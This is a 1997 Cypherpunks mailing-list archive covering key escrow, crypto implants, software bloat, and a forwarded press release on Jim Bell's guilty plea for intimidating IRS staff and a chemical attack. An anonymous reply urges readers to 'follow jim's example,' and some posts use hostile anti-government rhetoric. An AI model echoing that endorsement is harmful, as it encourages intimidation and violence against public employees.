At 12:45 PM 7/18/97 -0700, Declan McCullagh wrote, quoting Joe Shea, for
those of you who can't follow attributions very well:

>	Declan, what would you think if the actual keepers of the keys, 
>so to speak, were the courts, such as the Administratoive Office of the 
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands of 
>the varius agencies, they'll get back out.
>
>Best,
>
>Joe Shea
>Editor-in-Chief
>The American Reporter
>joeshea at netcom.com
>http://www.newshare.com:9999

Judges are human, too. "Agencies don't break the law -- people do". The
next Ames could be a judge on any Federal court. Frankly, I find it mildly
amusing no one has asked the Congressional defenders of key escrow, point
blank, "What safeguards do you have against keys falling into the hands of
the next Ames?" Who watches the watchmen?






From craffert at ml.com  Fri Jul 18 14:39:39 1997
From: craffert at ml.com (Colin Rafferty)
Date: Sat, 19 Jul 1997 05:39:39 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 



Joe Shea (via Declan McCullagh) writes:

> 	Declan, what would you think if the actual keepers of the keys, 
> so to speak, were the courts, such as the Administratoive Office of the 
> US Courts?  That would at least seem to reduce a lot of the possible
> privacy concerns.  One has the sense that once they get into the hands of 
> the varius agencies, they'll get back out.

Why do I feel like we are going around and around in circles?

How about we give copies of our house-keys to the courts?  We should
also send them our old backup tapes, just in case they need them, too.

-- 
#!/bin/perl -sp0777i
Message-ID: <199707182133.QAA19120@ns.wavefront.com>



no idea, but 2600 meets at the megamall, right?

Please mail ed at twin-cities.com in the future, rather
than the winternet address.

Thanks!

>Anyone up for a Minnesota CP get-together anytime this summer?
> 
>=-=-=-=-=-=
>Robert Hayden					rhayden at means.net
>IP Network Administrator			(612) 230-4416
>MEANS Telcom
>
>

Edward Bertsch            ed at twin-cities.com
Technical Intelligence    http://www.twin-cities.com
PO 11145                  tel +1 612 225 0954
Saint Paul, MN 55111 USA  fax +1 612 222 2353






From cme at cybercash.com  Fri Jul 18 15:21:40 1997
From: cme at cybercash.com (Carl Ellison)
Date: Sat, 19 Jul 1997 06:21:40 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: <3.0.3.32.19970718172701.00969de0@cybercash.com>



-----BEGIN PGP SIGNED MESSAGE-----

I'm really surprised to see this entire discussion resurface, especially 
without any apparent memory of the past 5 years that have hashed this topic 
over.

The real issue, IMHO, is given in my 
http://www.clark.net/pub/cme/html/avss.html

Hitting closer to home for those of us who design crypto:

Our job is to permit Alice to communicate to Bob (or Alice at a later time) 
without Eve getting anything from that communication.

			+---+
			| E |
			+---+
			  ^
  +---+		  |		  +---+
  | A |-------------+---------->| B |
  +---+				  +---+

			
The gov't wants us to achieve that goal but permit Dorothy the detective, D, to 
have access:


			+---+
			| D |
			+---+
			  ^
  +---+		  |		  +---+
  | A |-------------+---------->| B |
  +---+				  +---+

Those two diagrams are identical except for labeling.  How can we tell E from 
D, as crypto designers?  Was J. Edgar Hoover an E or a D?  Nixon?  The LA 
Intelligence unit?  ....?

Meanwhile, the system to allow D but not E is hugely more complex than the 
system which prohibits both D and E.  And, as I argue elsewhere, 
, good strong non-GAK crypto in the 
hands of criminals should help law enforcement in their surveillance effort -- 
because:

1)	it encourages criminals to talk about their crimes with other criminals
2)	some percentage of those "other criminals" will be plants, informers or 
turned,
	thus giving law enforcement an intelligence boon
3)	traffic analysis of these criminal conversations is not inhibited

 - Carl

At 12:45 PM 7/18/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Fri, 18 Jul 1997 12:04:56 -0700 (PDT)
>From: Joe Shea 
>To: Declan McCullagh 
>Cc: fight-censorship-announce at vorlon.mit.edu
>Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"
>
>
>	Declan, what would you think if the actual keepers of the keys, 
>so to speak, were the courts, such as the Administratoive Office of the 
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands of 
>the varius agencies, they'll get back out.
>
>Best,
>
>Joe Shea
>Editor-in-Chief
>The American Reporter
>joeshea at netcom.com
>http://www.newshare.com:9999
>
>
>
>

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Version: PGP for Personal Privacy 5.0
Charset: noconv

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+------------------------------------------------------------------+
|Carl M. Ellison  cme at cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+






From azur at netcom.com  Fri Jul 18 15:35:17 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 19 Jul 1997 06:35:17 +0800
Subject: Crypto implants
Message-ID: 



[I could find no instance in the cypherpunks archives of this thread.
Forgive me if I've erred.]

As single chip crypto devices are now available (e.g., smart cards) it is
not unreasonable to ask how the implantation of advanced bio-chips may
challenge current notions of civil liberties.

A key US legal assumption of privacy is that one has an unlimited right to
one's thoughts but limited rights to ones ideas reduced to tangible form
and to communications. (The threads regarding the ability of the courts to
cause the a witness to disgorge a crypto key are closely related.)

Another civil liberty is the assumption that one owns and controls one's
body (unless arrested/imprisoned) and the government may not alter or
injure your body. Most citizens and hopefully the courts would find
invasion of this most sacrosanct part of one's being are repugnant.

An implied aspects of the privacy-crypto debate is that
mechanical/electronic devices outside of one's body are required for use of
crypto. But what happens if a person's body is augmented for various
purposes, including data storage, crypto and communications?  Unless a
proven crime were committed via these devices, is it feasible that a person
could be forced to submit to removal of an implant or to disgorge their
data contents?

--Steve


PGP mail preferred, see  http://web.mit.edu/network/pgp.html
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky







From alano at teleport.com  Fri Jul 18 15:51:09 1997
From: alano at teleport.com (Alan)
Date: Sat, 19 Jul 1997 06:51:09 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: 



On Fri, 18 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> 
> On Thu, 17 Jul 1997, William H. Geiger III wrote:
> 
> > Well 90% of the "features" of these browsers are complete crap. I have yet
> > to see a web site that did anything constructive with frames and animated
> > gifs are compleetly worthless.
> 
> I aggry however there are now meany sites that are now only have frame
> based interfaces.  When useing when useing lynx I have to decode the
> frames manuly.

Get the new version of Lynx. (2.7?)  It does a better job of handling
frames.

alano at teleport.com | "Those who are without history are doomed to retype it."






From azur at netcom.com  Fri Jul 18 15:55:38 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 19 Jul 1997 06:55:38 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 



At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>amusing no one has asked the Congressional defenders of key escrow, point
>blank, "What safeguards do you have against keys falling into the hands of
>the next Ames?" Who watches the watchmen?

Why not go one step further and get the strong crypto supporters in the
Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
and our most secret security agencies to use the very same
government/industry escrow entitites (but not any of the intelligence
organizations themselves) for all their encrypted data storage and
communications traffic and requiring regular GOA compliance reviews.

--Steve








From hallam at ai.mit.edu  Fri Jul 18 16:20:48 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Sat, 19 Jul 1997 07:20:48 +0800
Subject: Keepers of the keys
Message-ID: <199707182231.SAA16735@life.ai.mit.edu>




> Declan, what would you think if the actual keepers of the keys,
>so to speak, were the courts, such as the Administrative Office of the
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands
of
>the varius agencies, they'll get back out.

It has no real effect. The problem is that corporations have very
good reason to expect governments to abuse key escrow. The
Nixon administration showed that the President of the US was
capable of ordering the burglary of his opponents offices. Since
the President appoints the Supreme court this is a pretty direct
demonstration that nobody can be trusted.

The concerns for foreign corporations are even greater. France
openly boasts about its commercial espionage. It also murders
its political opponents by planting bombs on civilian ships. Any
foreign corporation operating in that company must expect a
concerted effort to disclose its trade secrets to its French
competitors.

People in the security industry are paid to be paranoid, to reduce
risk to the lowest possible. If your security model does not trust the
CEO of the company concerned absolutely why should minor
officials of the US government be trusted?

    Phill




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From alano at teleport.com  Fri Jul 18 16:24:26 1997
From: alano at teleport.com (Alan)
Date: Sat, 19 Jul 1997 07:24:26 +0800
Subject: Something of Interest (fwd)
Message-ID: 



I recieved this today via e-mail.  I find it strange since I have never
asked to be put on any sort of "interest list" by anyone at the IRS.  (And
my Cypherpunks mail shows up at a different address.

Did anyone else get this?

alano at teleport.com | "Those who are without history are doomed to retype it."

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Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection 
Message-Id: <199707171629.MAA02733 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.






From ksahin at best.com  Fri Jul 18 17:06:04 1997
From: ksahin at best.com (Koro)
Date: Sat, 19 Jul 1997 08:06:04 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: <33CFE7B6.4883@best.com>



Colin Rafferty wrote:
> 
> Joe Shea (via Declan McCullagh) writes:
> 
> >       Declan, what would you think if the actual keepers of the keys,
> > so to speak, were the courts, such as the Administratoive Office of the
> > US Courts?  That would at least seem to reduce a lot of the possible
> > privacy concerns.  One has the sense that once they get into the hands of
> > the varius agencies, they'll get back out.
> 
> Why do I feel like we are going around and around in circles?
> 
> How about we give copies of our house-keys to the courts?  We should
> also send them our old backup tapes, just in case they need them, too.

It doesn't matter who holds the keys, the problems involved are
essentially the same.  Such powers are always abused.  

Getting back to the courts, don't tell me you (joe) are intending to
give our keys to the same courts who sign wiretap orders on a whim are
you?  The courts haven't proven themselves any more trust worthy than
other branches of government.  Furthermore, it is very difficult to take
such powers out of the hands of the courts. How will you fight something
like this, take it to court? 

> --
> #!/bin/perl -sp0777i $/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
> lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

Hey! it's the RSA export-A-sig.  I can recognize it anywhere...
-- 
					KORO
"In view of the present world situation," said the parlor philosopher,
"the best thing that can happen to a man is not to be born at all in the
first place. But I doubt that even one man in a hundred thousand is that
lucky."






From markm at voicenet.com  Fri Jul 18 17:19:18 1997
From: markm at voicenet.com (Mark M.)
Date: Sat, 19 Jul 1997 08:19:18 +0800
Subject: Crypto implants
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 18 Jul 1997, Steve Schear wrote:

> Another civil liberty is the assumption that one owns and controls one's
> body (unless arrested/imprisoned) and the government may not alter or
> injure your body. Most citizens and hopefully the courts would find
> invasion of this most sacrosanct part of one's being are repugnant.
> 
> An implied aspects of the privacy-crypto debate is that
> mechanical/electronic devices outside of one's body are required for use of
> crypto. But what happens if a person's body is augmented for various
> purposes, including data storage, crypto and communications?  Unless a
> proven crime were committed via these devices, is it feasible that a person
> could be forced to submit to removal of an implant or to disgorge their
> data contents?

It depends on the circumstances.  If there was any way to extract the
contents of the implant or decrypt anything encrypted using a key stored
in the implant without resorting to surgery, it would probably be legal
to force the suspect to cooperate (assuming that requiring someone to
turn over a crypto key is legal).  Extracting the contents of the implant
without using surgery is non-intrusive and probably legal.  However, if
the only way to recover the needed data is to physically remove the
implant from the suspect's body (though this wouldn't be very practical
for the user), it would be very difficult for LEAs to do this legally.
In one U.S. Supreme Court decision, Winston v. Lee, it was decided that
the State did not have the authority to require someone not convicted of
a crime to submit to surgery so that a bullet could be extracted from
his body and possibly be used as evidence.  There are exceptions, but
the situation would have to be extreme enough to warrant the severe
intrusion.  I would imagine that this ruling would apply to a situation
where someone had an implant with information that could be used as
evidence.  There isn't much difference, IMO, between extracting a
bullet that has information in the form of caliber and unique markings
useful in a ballistics test and extracting a data implant that has
information electronically stored.



Mark
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1ik7mRV4+Dia6kYH29UJRxbQYw8Bx8dsTmyMVQrOeJd/JV7TWtjVptPvkNcG+d/x
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ryUst1wSXuzbKKS5bN+B8rNXauWIn6ayjib92IgFLlzCo9aaYOmdVw==
=xEGX
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From mnorton at cavern.uark.edu  Fri Jul 18 17:20:04 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sat, 19 Jul 1997 08:20:04 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



anyone know what the lowest he can get is, under the sentencing
guidelines, now that we know the max?
MacN

On Fri, 18 Jul 1997, Alan wrote:

> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
> 
> Did anyone else get this?
> 
> alano at teleport.com | "Those who are without history are doomed to retype it."
> 
> ---------- Forwarded message ----------
> Return-Path: irsnwpr at net.insp.irs.gov
> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
> Received: by tcs_gateway1.treas.gov id AA19658
>   (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
> Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>   Fri, 18 Jul 1997 18:47:00 -0400
> Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>   Fri, 18 Jul 1997 18:47:00 -0400
> Date: Thu, 17 Jul 1997 12:29:08 -0400
> From: IRS Inspection 
> Message-Id: <199707171629.MAA02733 at net.insp.irs.gov>
> To: Interested-Parties at net.insp.irs.gov
> Subject: Something of Interest
> 
> 
> 
> 					United States Attorney
> 					Western District of Washington
> 
> FOR IMMEDIATE RELEASE
> July 18, 1997
> 
> JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
> SECURITY NUMBERS
> 
> United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
> pleaded guilty today in the federal court in Tacoma to two felony charges.
> BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
> impeding the Internal Revenue Service (IRS), and to falsely using a social
> security number with the intent to deceive.  United States District Court
> Judge Franklin D. Burgess presided over today's proceedings.
> 
> The charges stem from an investigation initiated in October, 1996 by IRS
> Internal Security Inspectors into reports that BELL was gathering the names
> and home addresses of IRS employees. In previous court hearings, IRS
> Inspectors testified that BELL had obtained the names and home addresses of
> 70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
> agreement signed by BELL, he acknowledged that he had gathered the names and
> addresses of the IRS employees in order to intimidate them in the
> performance of their official duties.
> 
> During the course of their investigation, IRS Inspectors discovered that
> BELL was advocating a scheme called "Assassination Politics", whereby
> persons would be rewarded with "digital cash" for killing certain
> undesirable people.  BELL identified these undesirables as government
> employees, such as IRS employees, who would be intimidated from enforcing
> internal revenue laws for fear of being assassinated.  In the plea
> agreement, BELL admitted that he suggested using "Assassination Politics" as
> an enforcement mechanism for the "Multnomah County Common Law Court", and
> that this was part of his effort to obstruct and impede the enforcement of
> internal revenue laws.  In affidavits previously filed in this case, IRS
> investigators identified BELL as a participant in the "Multnomah County
> Common Law Court", which was described as a self-appointed anti-government
> extremist group which purports to hold "trials" of IRS and other Government
> employees for the performance of their official duties.  The affidavits
> indicated that in January, 1997 the "Multnomah County Common Law Court" held
> a "trial" of IRS and other Government officials.  
> 
> In the plea agreement, BELL also admitted that on March 16, 1997, he
> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
> Washington, using the noxious chemical mercaptan.  In affidavits filed with
> the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
> against non-government targets: one being a lawyer's office in 1984, and the
> other a vehicle in 1989.  The IRS investigators also linked BELL to two
> purchase orders for noxious chemicals, one in 1994 and one in 1996.
> According to the plea agreement, the attack on the IRS office resulted in a
> cost to the government of $1,359, and caused a number of IRS employees to
> have to leave work.  In an affidavit previously filed in this case, IRS
> Inspectors indicated that the mercaptan attack may have been linked to the
> February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.
> 
> As part of the plea agreement, BELL also admitted that he used several
> different social security numbers in order to hide assets from the IRS and
> thus to impede the IRS's ability to collect taxes he owed and to prevent the
> IRS from levying his wages.
> 
> Federal agents had previously executed two search warrants on BELL's
> residence.  On April 1, 1997, IRS agents seized computers, documents, and
> firearms during a search.  In a follow-up search, the Environmental
> Protection Agency seized a variety of dangerous chemicals which had been
> discovered during the execution of the  IRS warrant.  BELL was arrested by
> IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
> on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
> posed a danger to the community and was a flight risk.
> 
> BELL faces a maximum sentence of three years in prison and a $250,000 fine
> for the obstruction charge, and five years and a $250,000 fine for using a
> phony social security number.
> 
> The IRS received assistance in the investigation of BELL from the Portland
> Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
> Bureau of Investigation, and the Vancouver, Washington Police Department.
> 
> 






From dlv at bwalk.dm.com  Fri Jul 18 17:44:48 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 19 Jul 1997 08:44:48 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: <6Ta30D7w165w@bwalk.dm.com>



Alan  writes:

>
> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
>
> Did anyone else get this?

I got it too.

It could be a very tasteless joke.

Or it could be a real e-mail from IRS telling us that they keep tabs on
who's been talking to Jim.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at rigel.cyberpass.net  Fri Jul 18 17:46:10 1997
From: nobody at rigel.cyberpass.net (Nobody)
Date: Sat, 19 Jul 1997 08:46:10 +0800
Subject: Crypto implants
In-Reply-To: 
Message-ID: <97Jul18.203330edt.32258@brickwall.ceddec.com>



On Fri, 18 Jul 1997, Steve Schear wrote:

> [I could find no instance in the cypherpunks archives of this thread.
> Forgive me if I've erred.]
> 
> As single chip crypto devices are now available (e.g., smart cards) it is
> not unreasonable to ask how the implantation of advanced bio-chips may
> challenge current notions of civil liberties.

I suggested using a chip which derived the equivalent of a passphrase from
brainwaves (when you are calm) - SF now, but in a few years...

And there may be opportunites to make it tamperproof - if removed it is
detected and data destroyed, or make removal all but impossible without
killing the patient.

--- reply to tzeruch - at - ceddec - dot - com ---






From steve at xemacs.org  Fri Jul 18 17:55:45 1997
From: steve at xemacs.org (Steven L Baur)
Date: Sat, 19 Jul 1997 08:55:45 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



Alan   writes:

> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.

> Did anyone else get this?

I did, to an address I haven't used in months.  They confiscated all
his equipment perhaps they made the list from addresses they found
there ...






From nobody at www.video-collage.com  Fri Jul 18 18:14:30 1997
From: nobody at www.video-collage.com (Unprivileged user)
Date: Sat, 19 Jul 1997 09:14:30 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: 
Message-ID: <97Jul18.210553edt.32258@brickwall.ceddec.com>



On Fri, 18 Jul 1997, Tim May wrote:

> I'm not at all convinced that monolithic apps like this will do well. A
> cluster of smaller apps, provided they have relatively consistent
> look-and-feel, as they mostly do, will probably do better for many of us.
> Smaller, nimbler apps are harder for government forces to regulate,
> influence, and limit.
> 
> What does this mean for crypto, certificates, etc.? It means that what
> Netscape, Microsoft, and other monolithic app suppliers don't hold all the
> cards. What the government forces/cajoles NS and MS to do with
> certificates, crypto, Web ratings, could end up helping more users decide
> to defect from the monolithic apps to smaller,less constraining apps.

It has been called bloatware and it affects everything.  Consider PGP 5.0.
As far as I know, all the technology being scanned in over this month is
available outside the US (e.g. SSLeay, and zip).  Although I would rather
have multiple implementations, SSLeay is a DLL under windows, but now I am
also going to have a PGP50 DLL, both with MPI and crypto libraries.  And
that doesn't count the same functions which are in both netscape and msie.

Both Netscape and MSIE could have taken an approach where the crypto was
put in a different app (i.e. safepassage), so the SSLproxy app would only
be available in the US, and cloned at full strength elsewhere.  You can do
something equivalent on the server side (443 -> SSL-to-plain -> 80).

Unless I am really doing something graphic based, I use Lynx.  Or "geturl
http://whatever | tablerender | less".

What is worse about MS/NS is that they can't be automated.  I can do a
croned geturl every 5 minutes, but how do I extract a given table from a
site and import it into excel automatically?  I think excel will
eventually support URLs in some fashion if it doesn't already, but there
are more things which won't parse as easily.  And what if the data is on
the other side of a form?

I think part, if not most of the problem is the GUI paradigm.  It is very
expensive to start another app, so people clamor for features to be built
in to existing apps, so every app must do things other apps do.  If you
can't click on it, you can't do it.  If there is no Download and save the
Nth GIF on this page every 5 minutes, I won't be able to do this with a
normal browser.

This is in contrast to the CLI-filter-pipe paradigm where every program
just does one thing.  That thing can be extremely flexible (e.g. awk), but
it has a limited scope, and another app does other things, but they are
designed to be chainable.  But it requires thinking to build these chains
and "average" users refuse to learn how.  geturl www.wherever | grep
"pic.gif" | awk ... >nextfile.get; geturl `cat nextfile.get` >`date ..`
as a cron job will do the function I suggested above.

The question is how to merge the two so GUI apps are small and chainable
(maybe embeddable?).

--- reply to tzeruch - at - ceddec - dot - com ---






From whgiii at amaranth.com  Fri Jul 18 18:15:23 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 19 Jul 1997 09:15:23 +0800
Subject: Keepers of the keys
In-Reply-To: <3.0.3.32.19970718172701.00969de0@cybercash.com>
Message-ID: <199707190055.TAA22761@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19970718172701.00969de0 at cybercash.com>, on 07/18/97 
   at 05:27 PM, Carl Ellison  said:

>Those two diagrams are identical except for labeling.  How can we tell E
>from  D, as crypto designers?  Was J. Edgar Hoover an E or a D?  Nixon? 
>The LA  Intelligence unit?  ....?

They are all "E" the only difference is that the "D's" stole our money to
finance their operations against us.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From enoch at zipcon.net  Fri Jul 18 18:24:43 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 19 Jul 1997 09:24:43 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: <19970719011440.27657.qmail@zipcon.net>



Alan  writes:

 > I recieved this today via e-mail.  I find it strange since
 > I have never asked to be put on any sort of "interest list"
 > by anyone at the IRS.  (And my Cypherpunks mail shows up at
 > a different address.

 > Did anyone else get this?

Not I.

 > The affidavits indicated that in January, 1997 the
 > "Multnomah County Common Law Court" held a "trial" of IRS
 > and other Government officials.

Is it illegal to hold a mock trial of political figures?  I
should think it would be considered protected First Ammendment
speech.

 > In the plea agreement, ...

He really should have gone to trial on this.  He wouldn't have
won, but he could have cost the bastards the maximum amount of
time and money possible, thus limiting the number of
citizen-units that could be harrassed in such a manner using
available IRS resources.

 > BELL faces a maximum sentence of three years in prison and
 > a $250,000 fine for the obstruction charge, and five years
 > and a $250,000 fine for using a phony social security
 > number.

Obviously the jackbooted thugs have a very high opinion of what
their time is worth.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From whgiii at amaranth.com  Fri Jul 18 18:25:05 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 19 Jul 1997 09:25:05 +0800
Subject: Crypto implants
In-Reply-To: <97Jul18.203330edt.32258@brickwall.ceddec.com>
Message-ID: <199707190103.UAA22861@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jul18.203330edt.32258 at brickwall.ceddec.com>, on 07/18/97 
   at 08:33 PM, Nobody  said:

>On Fri, 18 Jul 1997, Steve Schear wrote:

>> [I could find no instance in the cypherpunks archives of this thread.
>> Forgive me if I've erred.]
>> 
>> As single chip crypto devices are now available (e.g., smart cards) it is
>> not unreasonable to ask how the implantation of advanced bio-chips may
>> challenge current notions of civil liberties.

>I suggested using a chip which derived the equivalent of a passphrase
>from brainwaves (when you are calm) - SF now, but in a few years...

>And there may be opportunites to make it tamperproof - if removed it is
>detected and data destroyed, or make removal all but impossible without
>killing the patient.

Hmmmm ... Waco ... Ruby Ridge .... It would seem that murdering US
Citizens is an excepted investigation tatic of the federal government
these days. Unfortunatly I don't see things changing any time in the
future.

"Why is it you can never find the Plutonium Disinfectant when you need
it?"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=RRlR
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From mixmaster at remail.obscura.com  Fri Jul 18 18:40:58 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Sat, 19 Jul 1997 09:40:58 +0800
Subject: No Subject
Message-ID: <199707190110.SAA28931@sirius.infonex.com>



I think we should all follow jim's example.






From kent at songbird.com  Fri Jul 18 18:46:48 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 19 Jul 1997 09:46:48 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: <19970718182345.30146@bywater.songbird.com>



On Fri, Jul 18, 1997 at 02:48:15PM -0700, Alan wrote:
> 
> Get the new version of Lynx. (2.7?)  It does a better job of handling
> frames.

You should get it anyway, because of serious security related bug:

                    Computer Incident Advisory Capability
                           ___  __ __    _     ___
                          /       |     /_\   /
                          \___  __|__  /   \  \___
             __________________________________________________________
 
                             INFORMATION BULLETIN
 
               Lynx Temporary Files & LYDownload.c Vulnerabilities
 
July 16, 1997 16:00 GMT                                            
Number H-82
______________________________________________________________________________
